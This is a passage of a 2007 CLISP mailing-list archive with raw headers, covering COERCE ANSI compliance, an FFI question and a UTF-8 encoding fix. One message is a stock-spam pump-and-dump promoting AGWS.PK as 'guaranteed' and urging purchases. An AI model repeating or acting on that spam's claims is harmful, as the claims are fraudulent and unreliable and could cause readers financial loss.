helpful, mere links to equally terse glossary definitions, i.e., function, object, format control, format argument. A nice low-effort cure would be to cross-reference the glossary, e.g., click the "argument" definition for a page of links to 3.4.1 Ordinary Lambda Lists and so on. Surely someone did this already? Peace --Devon /~\ \ / Health Care X not warfare / \ Dubya won the digital vote Kerry won the popular vote From dvstarr@earthlink.net Sun Jan 28 09:24:27 2007 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1HBDlQ-0001O3-CS for clisp-list@lists.sourceforge.net; Sun, 28 Jan 2007 09:24:24 -0800 Received: from elasmtp-mealy.atl.sa.earthlink.net ([209.86.89.69]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1HBDlO-0000GT-RN for clisp-list@lists.sourceforge.net; Sun, 28 Jan 2007 09:24:24 -0800 Received: from [68.164.34.43] (helo=[192.168.1.33]) by elasmtp-mealy.atl.sa.earthlink.net with asmtp (Exim 4.34) id 1HBDlL-0003CI-4I for clisp-list@lists.sourceforge.net; Sun, 28 Jan 2007 12:24:19 -0500 Mime-Version: 1.0 (Apple Message framework v624) Content-Transfer-Encoding: quoted-printable Message-Id: <6c52ef650a31dc8277535ca3102cc3ff@earthlink.net> Content-Type: text/plain; charset=WINDOWS-1252; format=flowed To: clisp-list@lists.sourceforge.net From: Dan Starr Date: Sun, 28 Jan 2007 12:24:18 -0500 X-Mailer: Apple Mail (2.624) X-ELNK-Trace: 6bb90b0289075346d780f4a490ca69563f9fea00a6dd62bc5f6374cbafecf98b320a031e52395983350badd9bab72f9c350badd9bab72f9c350badd9bab72f9c X-Originating-IP: 68.164.34.43 X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] ANSI compliance X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 28 Jan 2007 17:24:27 -0000 Hope that I'm sending this to the right clisp address I run my programs on different lisp compilers to make sure that the=20 code works everywhere. I tried out SBCL on my Intel-based Mac. My=20 program works fine under clisp, but SBCL choked on this: (coerce s 'array) I fixed it by writing my own coerce clone, but communicated the=20 apparent bug to the SBCL guys. They wrote back that you are not=20 supposed to be able to do that, according to the ANSI hyperspec. You=20 should, they wrote, only be able to write this: (coerce s 'vector) My question is this, perhaps splitting hairs: Is clisp correct in=20 letting you coerce 'list to 'array? Should it perhaps generate an=20 error? As of now, it is liberal and does it anyhow. The point is that=20= I was coercing a tree and sbcl didn=92t know exactly how to do it. In = to=20 several dimensions? Into only one dimension? Not a big deal. -- devious dan From sds@gnu.org Mon Jan 29 06:36:55 2007 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1HBXct-0001Eb-OI for clisp-list@lists.sourceforge.net; Mon, 29 Jan 2007 06:36:55 -0800 Received: from www.janestcapital.com ([66.155.124.107] helo=smtp.janestcapital.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1HBXcr-0007by-VO for clisp-list@lists.sourceforge.net; Mon, 29 Jan 2007 06:36:55 -0800 Received: from [192.168.250.217] [209.213.205.130] by janestcapital.com with ESMTP (SMTPD-9.10) id A67C0318; Mon, 29 Jan 2007 09:36:44 -0500 Message-ID: <45BE067C.5030608@gnu.org> Date: Mon, 29 Jan 2007 09:36:44 -0500 From: Sam Steingold User-Agent: Thunderbird 1.5.0.8 (X11/20061107) MIME-Version: 1.0 To: Dan Starr References: <6c52ef650a31dc8277535ca3102cc3ff@earthlink.net> In-Reply-To: <6c52ef650a31dc8277535ca3102cc3ff@earthlink.net> Content-Type: text/plain; charset=windows-1252; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] COERCE ANSI compliance X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list Reply-To: clisp-list@lists.sourceforge.net List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 29 Jan 2007 14:36:56 -0000 Dan Starr wrote: > Hope that I'm sending this to the right clisp address yes. > I run my programs on different lisp compilers to make sure that the > code works everywhere. good idea! > My question is this, perhaps splitting hairs: Is clisp correct in > letting you coerce 'list to 'array? probably yes. > Should it perhaps generate an error? probably no. > As of now, it is liberal and does it anyhow. CLISP follows the spirit of the function COERCE and turns your list into an array (since a vector IS an array). in the same venue, it might have done (coerce '(1 2 3) '(or array hash-table)) == (coerce '(1 2 3) 'array) == (coerce '(1 2 3) 'vector) This is a compliant extension to the standard: http://www.lisp.org/HyperSpec/Body/fun_coerce.html does not say that the "rules" listed are exhaustive. specifically, it does not say "if the result-type is not one of the listed types, an error is signaled". instead, it says "If a coercion is not possible, an error of type type-error is signaled". obviously, a coercion of a list to an array (specifically, to a vector) is, indeed, possible - just not specified by the standard, e.g., one can imagine the following compliant behavior: (coerce '((1 2) (3 4)) '(simple-array 2)) => #2a((1 2) (3 4)) again, the issue hinges on whether the rules list is exhaustive or not. It never says it is, so CLISP assumes it is not. It never says it is not, so SBCL assumes it is. thanks. Sam. From lisp-clisp-list@m.gmane.org Tue Jan 30 16:55:29 2007 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1HC3km-0006Im-7H for clisp-list@lists.sourceforge.net; Tue, 30 Jan 2007 16:55:25 -0800 Received: from main.gmane.org ([80.91.229.2] helo=ciao.gmane.org) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1HC3kk-0007Wv-J6 for clisp-list@lists.sourceforge.net; Tue, 30 Jan 2007 16:55:12 -0800 Received: from root by ciao.gmane.org with local (Exim 4.43) id 1HC3kd-0005kZ-3Z for clisp-list@lists.sourceforge.net; Wed, 31 Jan 2007 01:55:03 +0100 Received: from p54a3d7b1.dip.t-dialin.net ([84.163.215.177]) by main.gmane.org with esmtp (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Wed, 31 Jan 2007 01:55:03 +0100 Received: from michael.kappert by p54a3d7b1.dip.t-dialin.net with local (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Wed, 31 Jan 2007 01:55:03 +0100 X-Injected-Via-Gmane: http://gmane.org/ To: clisp-list@lists.sourceforge.net From: Michael Kappert Date: Wed, 31 Jan 2007 01:49:38 +0100 Lines: 24 Message-ID: Mime-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-15; format=flowed Content-Transfer-Encoding: 7bit X-Complaints-To: usenet@sea.gmane.org X-Gmane-NNTP-Posting-Host: p54a3d7b1.dip.t-dialin.net User-Agent: Thunderbird 1.5.0.9 (Windows/20061207) Sender: news X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] FFI (c-array-ptr c-string) question X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 31 Jan 2007 00:55:29 -0000 Hi all, I'm trying to call a function returning a zero-terminated sequence of strings (via dynamic FFI on win32), like this: (defpackage "FFI-USER" (:use "COMMON-LISP" "FFI")) (in-package :ffi-user) (setf ext:*foreign-encoding* charset:utf-8) (def-call-out test (:name "message") (:language :C) (:library "libtest.dll") (:arguments) (:return-type (c-array-ptr c-string))) I think this should work? Depending on the charset I use, FFI does not find the function in the library, or I'm getting a sigsegv in strlen() when converting the result from foreign format. Any ideas? Michael From stocknews@tornadovac.com Tue Jan 30 18:30:39 2007 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1HC5F9-0006tt-BQ for clisp-list@lists.sourceforge.net; Tue, 30 Jan 2007 18:30:39 -0800 Received: from [59.92.196.196] (helo=mail.torkworks.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1HC5F7-0002Ba-K2 for clisp-list@lists.sourceforge.net; Tue, 30 Jan 2007 18:30:39 -0800 Received: from 216.177.114.2 (HELO mail.tornadovac.com) by lists.sourceforge.net with esmtp (814Z6I/0X45 1/-0) id UXJQ X-Mailer: The Bat! (v3.80.03) Educational X-Priority: 3 (Normal) Message-ID: <854089380.95686448179320@thebat.net> To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 Content-Type: text/plain; charset=Windows-1252 X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.1 DATE_IN_FUTURE_03_06 Date: is 3 to 6 hours after Received: date Subject: [clisp-list] Those news announcers name the dog Fido X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 31 Jan 2007 02:30:39 -0000 Content-Transfer-Encoding: quoted-printable X-Spam: Not detected Need fresh faces shows all major networks going to be an architect,their vi= deos and kill at least 89 in BaghdadTwin attacks.University bombings their = videos and Nigeria clashes prompt Shell evacuationsgoing to be an architect= ,spawned their fair share of superstars. Need fresh faces The most incredible stocks that you can get right now!!! ADVANCED GROWING SYSTEMS INC(AGWS.PK) safety is guaranteed. You can make a lot of money just make your brokers buy this stock. It is on fire!!! Hurry up terrific growth!!! Find out elaborate info about this stock at our web-site. Just get it and you will never sorry about. Look at this chart that we included and don=92t waste time!!! Date Current cost 01/30/2007 0.85$ 01/31/2007 1.27$ WARNING: INVEST YOUR MONEY EXACTLY IN OUR COMPANY!!! pleasure--you may feel slightly But seasons 1-5 have already for upcoming = filming in your area. Is it time for your star to shine?Dare to be stupid. = In fact, pleasure--you may feel slightly Season 6 of American their videos= and going to be an architect,Deadly that was the best career choice for me= I was a kid, From fusion@mx6.tiki.ne.jp Thu Feb 01 00:03:06 2007 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1HCWuQ-00044h-2i for clisp-list@lists.sourceforge.net; Thu, 01 Feb 2007 00:03:06 -0800 Received: from smtp8.tiki.ne.jp ([218.40.30.79]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1HCWuO-000672-FY for clisp-list@lists.sourceforge.net; Thu, 01 Feb 2007 00:03:05 -0800 Received: from [192.168.11.3] (pl466.nas933.takamatsu.nttpc.ne.jp [210.136.183.210]) (authenticated bits=0) by smtp8.tiki.ne.jp (8.13.8/8.13.8) with ESMTP id l1182xkZ016934 (version=TLSv1/SSLv3 cipher=AES128-SHA bits=128 verify=NO) for ; Thu, 1 Feb 2007 17:02:59 +0900 (JST) (envelope-from fusion@mx6.tiki.ne.jp) Mime-Version: 1.0 (Apple Message framework v752.3) Content-Transfer-Encoding: 7bit Message-Id: <6BD57C1C-06AF-47B3-A3D6-19899C4C1879@mx6.tiki.ne.jp> Content-Type: text/plain; charset=US-ASCII; delsp=yes; format=flowed To: clisp-list@lists.sourceforge.net From: Jean-Christophe Helary Date: Thu, 1 Feb 2007 17:02:57 +0900 X-Mailer: Apple Mail (2.752.3) X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] -Efile utf-8 option X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 01 Feb 2007 08:03:06 -0000 I want to have clisp consider all the files it handles as utf-8 files. Is: $ clisp -Efile utf-8 enough ? It looks like it is not. I try to load a file saved in utf-8 and containing Japanese characters so it seems to load ok, but when I call the function with Japanese I get: > *** - Character #\u7686 cannot be represented in the character set > CHARSET:ASCII The origin of my question is that I want to load files in slime without having to type: > :external-format charset:utf-8 each time I load a file. So I thought starting clisp with some appropriate options would do. But I can't seem to find the appropriate option... Jean-Christophe Helary From langstefan@gmx.at Thu Feb 01 04:06:07 2007 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1HCaha-0002WK-Qz for clisp-list@lists.sourceforge.net; Thu, 01 Feb 2007 04:06:07 -0800 Received: from mail.gmx.net ([213.165.64.20]) by mail.sourceforge.net with smtp (Exim 4.44) id 1HCahX-0006xL-Tz for clisp-list@lists.sourceforge.net; Thu, 01 Feb 2007 04:06:06 -0800 Received: (qmail invoked by alias); 01 Feb 2007 12:05:54 -0000 Received: from u-125-048.adsl.univie.ac.at (EHLO linux-sl.repro.intra) [131.130.125.48] by mail.gmx.net (mp010) with SMTP; 01 Feb 2007 13:05:54 +0100 X-Authenticated: #16618582 From: Stefan Lang To: clisp-list@lists.sourceforge.net Date: Thu, 1 Feb 2007 13:08:01 +0100 User-Agent: KMail/1.8.2 References: <6BD57C1C-06AF-47B3-A3D6-19899C4C1879@mx6.tiki.ne.jp> In-Reply-To: <6BD57C1C-06AF-47B3-A3D6-19899C4C1879@mx6.tiki.ne.jp> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: <200702011308.01446.langstefan@gmx.at> X-Y-GMX-Trusted: 0 X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: Re: [clisp-list] -Efile utf-8 option X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 01 Feb 2007 12:06:08 -0000 On Thursday 01 February 2007 09:02, Jean-Christophe Helary wrote: > I want to have clisp consider all the files it handles as utf-8 > files. > > Is: > $ clisp -Efile utf-8 > > enough ? It looks like it is not. I try to load a file saved in > utf-8 and containing Japanese characters so it seems to load ok, > but when I > > call the function with Japanese I get: > > *** - Character #\u7686 cannot be represented in the character > > set CHARSET:ASCII > > The origin of my question is that I want to load files in slime > > without having to type: > > :external-format charset:utf-8 Perhaps it helps setting the LANG environment variable before starting clisp. E.g. my LANG is set to de_DE.UTF-8 and clisp opens files with external-format as utf-8 by default. Stefan From pjb@informatimago.com Thu Feb 01 05:37:05 2007 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1HCc7d-00034H-4o for clisp-list@lists.sourceforge.net; Thu, 01 Feb 2007 05:37:05 -0800 Received: from thalassa.informatimago.com ([62.93.174.79] helo=larissa.informatimago.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1HCc7Z-0006Gw-4d for clisp-list@lists.sourceforge.net; Thu, 01 Feb 2007 05:37:05 -0800 Received: by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386), from userid 501) id C6EBC586BB; Thu, 1 Feb 2007 14:36:54 +0100 (CET) Received: from thalassa.informatimago.com (thalassa.informatimago.com [62.93.174.79]) by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386)) with ESMTP id 12B02586BA; Thu, 1 Feb 2007 14:36:52 +0100 (CET) Received: by thalassa.informatimago.com (Postfix, from userid 1000) id 802A29034; Thu, 1 Feb 2007 14:36:52 +0100 (CET) From: Pascal Bourguignon Message-ID: <17857.60660.424268.220755@thalassa.informatimago.com> Date: Thu, 1 Feb 2007 14:36:52 +0100 To: Jean-Christophe Helary In-Reply-To: <6BD57C1C-06AF-47B3-A3D6-19899C4C1879@mx6.tiki.ne.jp> References: <6BD57C1C-06AF-47B3-A3D6-19899C4C1879@mx6.tiki.ne.jp> X-Mailer: VM 7.17 under Emacs 22.0.91.1 Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&; A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA; v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8 X-Spam-Checker-Version: SpamAssassin 3.0.1 (2004-10-22) on larissa.informatimago.com X-Spam-Status: No, score=-5.9 required=5.0 tests=ALL_TRUSTED,BAYES_00 autolearn=ham version=3.0.1 X-Spam-Level: Content-Transfer-Encoding: quoted-printable X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] -Efile utf-8 option X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list Reply-To: pjb@informatimago.com List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 01 Feb 2007 13:37:05 -0000 Jean-Christophe Helary writes: > I want to have clisp consider all the files it handles as utf-8 files. >=20 > Is: > $ clisp -Efile utf-8 >=20 > enough ? It looks like it is not. I try to load a file saved in utf-8 =20 > and containing Japanese characters so it seems to load ok, but when I =20 > call the function with Japanese I get: >=20 > > *** - Character #\u7686 cannot be represented in the character set =20 > > CHARSET:ASCII >=20 > The origin of my question is that I want to load files in slime =20 > without having to type: >=20 > > :external-format charset:utf-8 >=20 > each time I load a file. So I thought starting clisp with some =20 > appropriate options would do. But I can't seem to find the =20 > appropriate option... Check that you're not setting CUSTOM:*DEFAULT-FILE-ENCODING* in ~/.clispr= c Use: (SETF CUSTOM:*DEFAULT-FILE-ENCODING* CHARSET:UTF-8) if it's not already this. --=20 __Pascal Bourguignon__ http://www.informatimago.com/ "Our users will know fear and cower before our software! Ship it! Ship it and let them flee like the dogs they are!" From fusion@mx6.tiki.ne.jp Thu Feb 01 05:52:26 2007 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1HCcMU-0004Z7-3K for clisp-list@lists.sourceforge.net; Thu, 01 Feb 2007 05:52:26 -0800 Received: from smtp8.tiki.ne.jp ([218.40.30.79]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1HCcMR-00010e-J3 for clisp-list@lists.sourceforge.net; Thu, 01 Feb 2007 05:52:26 -0800 Received: from [192.168.11.3] (pl150.nas932.takamatsu.nttpc.ne.jp [210.136.180.150]) (authenticated bits=0) by smtp8.tiki.ne.jp (8.13.8/8.13.8) with ESMTP id l11DqLl9089200 (version=TLSv1/SSLv3 cipher=AES128-SHA bits=128 verify=NO) for ; Thu, 1 Feb 2007 22:52:21 +0900 (JST) (envelope-from fusion@mx6.tiki.ne.jp) Mime-Version: 1.0 (Apple Message framework v752.3) In-Reply-To: <17857.60660.424268.220755@thalassa.informatimago.com> References: <6BD57C1C-06AF-47B3-A3D6-19899C4C1879@mx6.tiki.ne.jp> <17857.60660.424268.220755@thalassa.informatimago.com> Content-Type: text/plain; charset=UTF-8; delsp=yes; format=flowed Message-Id: <373590DF-9343-485A-9939-C61E1AD27F2E@mx6.tiki.ne.jp> Content-Transfer-Encoding: quoted-printable From: Jean-Christophe Helary Date: Thu, 1 Feb 2007 22:52:19 +0900 To: clisp-list@lists.sourceforge.net X-Mailer: Apple Mail (2.752.3) X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: Re: [clisp-list] -Efile utf-8 option X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 01 Feb 2007 13:52:26 -0000 On 1 f=C3=A9vr. 07, at 22:36, Pascal Bourguignon wrote: > Jean-Christophe Helary writes: >> I want to have clisp consider all the files it handles as utf-8 =20 >> files. >> >> Is: >> $ clisp -Efile utf-8 >> >> enough ? It looks like it is not. I try to load a file saved in utf-8 >> and containing Japanese characters so it seems to load ok, but when I >> call the function with Japanese I get: >> >>> *** - Character #\u7686 cannot be represented in the character set >>> CHARSET:ASCII >> >> The origin of my question is that I want to load files in slime >> without having to type: >> >>> :external-format charset:utf-8 >> >> each time I load a file. So I thought starting clisp with some >> appropriate options would do. But I can't seem to find the >> appropriate option... > > Check that you're not setting CUSTOM:*DEFAULT-FILE-ENCODING* in =20 > ~/.clisprc > > Use: (SETF CUSTOM:*DEFAULT-FILE-ENCODING* CHARSET:UTF-8) > if it's not already this. Ok, now my .clisprc includes this line. It seems to be loaded, but I =20 get the same error message (I am doing all that from the command line). The file is in utf-8, I just checked. And it contains the following =20 lines: (defun konnichiha () (format t "=E7=9A=86=E3=81=95=E3=82=93=E3=80=81=E4=BB=8A=E6=97=A5=E3=81= =AF=E3=80=82")) (defun bonjour () (format t "Bonjour tout le monde.")) and the full messages is: ;; Loading file /Users/suzume/.clisprc ... ;; Loaded file /Users/suzume/.clisprc [1]> (load "~/Documents/Travail/Programmes/lisp/konnichiha.lisp") ;; Loading file /Users/suzume/Documents/Travail/Programmes/lisp/=20 konnichiha.lisp ... ;; Loaded file /Users/suzume/Documents/Travail/Programmes/lisp/=20 konnichiha.lisp T [2]> (bonjour) Bonjour tout le monde. NIL [3]> (konnichiha) *** - Character #\u7686 cannot be represented in the character set =20 CHARSET:ASCII The following restarts are available: ABORT :R1 ABORT Break 1 [4]> ... Jean-Christophe Helary= From sds@gnu.org Thu Feb 01 06:09:06 2007 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1HCccU-0006Bp-QT for clisp-list@lists.sourceforge.net; Thu, 01 Feb 2007 06:09:00 -0800 Received: from janestcapital.com ([66.155.124.107] helo=smtp.janestcapital.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1HCccR-0000lT-7f for clisp-list@lists.sourceforge.net; Thu, 01 Feb 2007 06:08:58 -0800 Received: from [192.168.250.217] [209.213.205.130] by janestcapital.com with ESMTP (SMTPD-9.10) id A46D01B4; Thu, 01 Feb 2007 09:08:45 -0500 Message-ID: <45C1F46D.3040302@gnu.org> Date: Thu, 01 Feb 2007 09:08:45 -0500 From: Sam Steingold User-Agent: Thunderbird 1.5.0.8 (X11/20061107) MIME-Version: 1.0 To: Jean-Christophe Helary References: <6BD57C1C-06AF-47B3-A3D6-19899C4C1879@mx6.tiki.ne.jp> In-Reply-To: <6BD57C1C-06AF-47B3-A3D6-19899C4C1879@mx6.tiki.ne.jp> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] -Efile utf-8 option X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list Reply-To: clisp-list@lists.sourceforge.net List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 01 Feb 2007 14:09:06 -0000 Jean-Christophe Helary wrote: > I want to have clisp consider all the files it handles as utf-8 files. > > Is: > $ clisp -Efile utf-8 > > enough ? It looks like it is not. I try to load a file saved in utf-8 > and containing Japanese characters so it seems to load ok, but when I > call the function with Japanese I get: > >> *** - Character #\u7686 cannot be represented in the character set >> CHARSET:ASCII if it actually comes to this, the file has already been successfully loaded. the problem is probably *terminal-encoding*, as explained in the FAQ. http://clisp.cons.org/impnotes/faq.html#faq-enc-err Sam. From fusion@mx6.tiki.ne.jp Thu Feb 01 06:22:09 2007 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1HCcpD-0007XN-Le for clisp-list@lists.sourceforge.net; Thu, 01 Feb 2007 06:22:08 -0800 Received: from smtp8.tiki.ne.jp ([218.40.30.79]) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1HCcpA-0005YI-R1 for clisp-list@lists.sourceforge.net; Thu, 01 Feb 2007 06:22:06 -0800 Received: from [192.168.11.3] (pl150.nas932.takamatsu.nttpc.ne.jp [210.136.180.150]) (authenticated bits=0) by smtp8.tiki.ne.jp (8.13.8/8.13.8) with ESMTP id l11ELwYG094865 (version=TLSv1/SSLv3 cipher=AES128-SHA bits=128 verify=NO) for ; Thu, 1 Feb 2007 23:21:59 +0900 (JST) (envelope-from fusion@mx6.tiki.ne.jp) Mime-Version: 1.0 (Apple Message framework v752.3) In-Reply-To: <45C1F46D.3040302@gnu.org> References: <6BD57C1C-06AF-47B3-A3D6-19899C4C1879@mx6.tiki.ne.jp> <45C1F46D.3040302@gnu.org> Content-Type: text/plain; charset=UTF-8; delsp=yes; format=flowed Message-Id: <51026865-FDA3-4E40-815F-E1D167322DBE@mx6.tiki.ne.jp> Content-Transfer-Encoding: quoted-printable From: Jean-Christophe Helary Date: Thu, 1 Feb 2007 23:21:56 +0900 To: clisp-list@lists.sourceforge.net X-Mailer: Apple Mail (2.752.3) X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: Re: [clisp-list] -Efile utf-8 option X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 01 Feb 2007 14:22:12 -0000 On 1 f=C3=A9vr. 07, at 23:08, Sam Steingold wrote: > Jean-Christophe Helary wrote: >> I want to have clisp consider all the files it handles as utf-8 =20 >> files. >> >> Is: >> $ clisp -Efile utf-8 >> >> enough ? It looks like it is not. I try to load a file saved in utf-8 >> and containing Japanese characters so it seems to load ok, but when I >> call the function with Japanese I get: >> >>> *** - Character #\u7686 cannot be represented in the character set >>> CHARSET:ASCII > > if it actually comes to this, the file has already been =20 > successfully loaded. > the problem is probably *terminal-encoding*, as explained in the FAQ. > http://clisp.cons.org/impnotes/faq.html#faq-enc-err Sam, Thank you so much ! So what I need to do is start clisp with the -E utf-8 flag (from the =20 command line) or put the same thing in my .emacs at the place where =20 slime calls my lisp :) (along with the .clisprc setting that Pascal =20 suggested). I just tried from the command line and had a nice "=E7=9A=86=E3=81=95=E3=82= =93=E3=80=81=E4=BB=8A=E6=97=A5=20 =E3=81=AF=E3=80=82" displayed. I am so happy :) If I remember well, I had the exact same issue in april, and I could =20 not parse anything that was told me on the slime lists. I closed my =20 copy of "Practical Common Lisp" and left the book where it was until =20 today... I suppose I'm ready to go a bit further now :) JC= From pjb@informatimago.com Thu Feb 01 09:36:51 2007 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1HCfrd-00071E-SY for clisp-list@lists.sourceforge.net; Thu, 01 Feb 2007 09:36:50 -0800 Received: from thalassa.informatimago.com ([62.93.174.79] helo=larissa.informatimago.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1HCfrY-0006gA-UQ for clisp-list@lists.sourceforge.net; Thu, 01 Feb 2007 09:36:49 -0800 Received: by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386), from userid 501) id D8C8E586B9; Thu, 1 Feb 2007 18:36:40 +0100 (CET) Received: from thalassa.informatimago.com (thalassa.informatimago.com [62.93.174.79]) by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386)) with ESMTP id C4576585EB; Thu, 1 Feb 2007 18:36:37 +0100 (CET) Received: by thalassa.informatimago.com (Postfix, from userid 1000) id 49FE19035; Thu, 1 Feb 2007 18:36:37 +0100 (CET) From: Pascal Bourguignon Message-ID: <17858.9509.262538.858293@thalassa.informatimago.com> Date: Thu, 1 Feb 2007 18:36:37 +0100 To: Jean-Christophe 